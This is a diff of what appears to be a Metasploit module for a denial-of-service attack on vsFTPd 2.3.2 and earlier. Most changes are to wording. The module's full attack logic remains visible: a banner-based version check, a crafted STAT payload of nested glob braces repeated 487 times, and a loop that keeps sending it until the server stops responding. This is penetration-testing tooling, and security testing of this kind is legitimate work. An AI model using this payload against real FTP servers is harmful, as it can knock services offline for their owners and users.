@@ -11,10 +11,11 @@ def initialize(info = {})
1111 super (
1212 update_info (
1313 info ,
14- 'Name' => 'VSFTPD 2.3.2 Denial of Service' ,
15- 'Description' => %q{
14+ 'Name' => 'VSFTPD 2.3.2 and Earlier STAT Denial of Service' ,
15+ 'Description' => %q{
1616 This module triggers a Denial of Service condition in the VSFTPD server in
17- versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.
17+ versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2).
18+ Version 2.3.3 and higher should not be vulnerable.
1819 } ,
1920 'Author' => [
2021 'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>' , # Module Creator
@@ -45,13 +46,15 @@ def check
4546 print_error ( 'Connection refused' )
4647 return Exploit ::CheckCode ::Unknown ( 'Failed to connect or authenticate via FTP' )
4748 end
49+
4850 rescue Rex ::ConnectionRefused
4951 print_error ( 'Connection refused' )
5052 return Exploit ::CheckCode ::Unknown ( 'Connection refused by the target' )
5153 rescue Rex ::ConnectionTimeout
5254 print_error ( 'Connection timed out' )
5355 return Exploit ::CheckCode ::Unknown ( 'Connection timed out' )
5456 end
57+
5558 s = ''
5659 loop do
5760 # get each line until our desired line shows or end line shows
@@ -68,19 +71,19 @@ def check
6871 # pull out version and check if its in range of vulnerability
6972 version = s [ /vsFTPd (\d +\. \d +\. \d +)/ , 1 ]
7073 if Rex ::Version . new ( version ) < Rex ::Version . new ( '2.3.3' )
71- Exploit ::CheckCode ::Appears ( "vsFTPd #{ version } is older than the patched version 2.3.3 " )
74+ Exploit ::CheckCode ::Appears ( "VSFTPD #{ version } is vulnerable (affected: <= 2.3.2) " )
7275 else
73- Exploit ::CheckCode ::Safe ( "vsFTPd #{ version } is not vulnerable" )
76+ Exploit ::CheckCode ::Safe ( "VSFTPD #{ version } is not vulnerable (affected: <= 2.3.2) " )
7477 end
7578 end
7679
7780 def run
7881 fail_with ( Failure ::NotVulnerable , 'Target is not vulnerable' ) if check != Exploit ::CheckCode ::Appears
7982
8083 payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
84+ vprint_status ( "FTP command being sent: #{ payload } " )
8185
82- vprint_status ( "Payload being sent: #{ payload } " )
83- print_status ( 'sending payload' )
86+ print_status ( 'Sending DoS command' )
8487
8588 loop do
8689 print ( '.' )
@@ -98,11 +101,11 @@ def run
98101 print_error ( 'Connection reset!' )
99102 rescue Rex ::ConnectionRefused
100103 print ( "\n " )
101- print_good ( 'Connection refused! Appears DOS attack succeeded' )
104+ print_good ( 'Connection refused! Appears DoS attack succeeded' )
102105 break
103106 rescue EOFError
104107 print ( "\n " )
105- print_good ( 'Stream was cut off abruptly. Appears DOS attack succeeded' )
108+ print_good ( 'Stream was cut off abruptly. Appears DoS attack succeeded' )
106109 break
107110 end
108111 disconnect
0 commit comments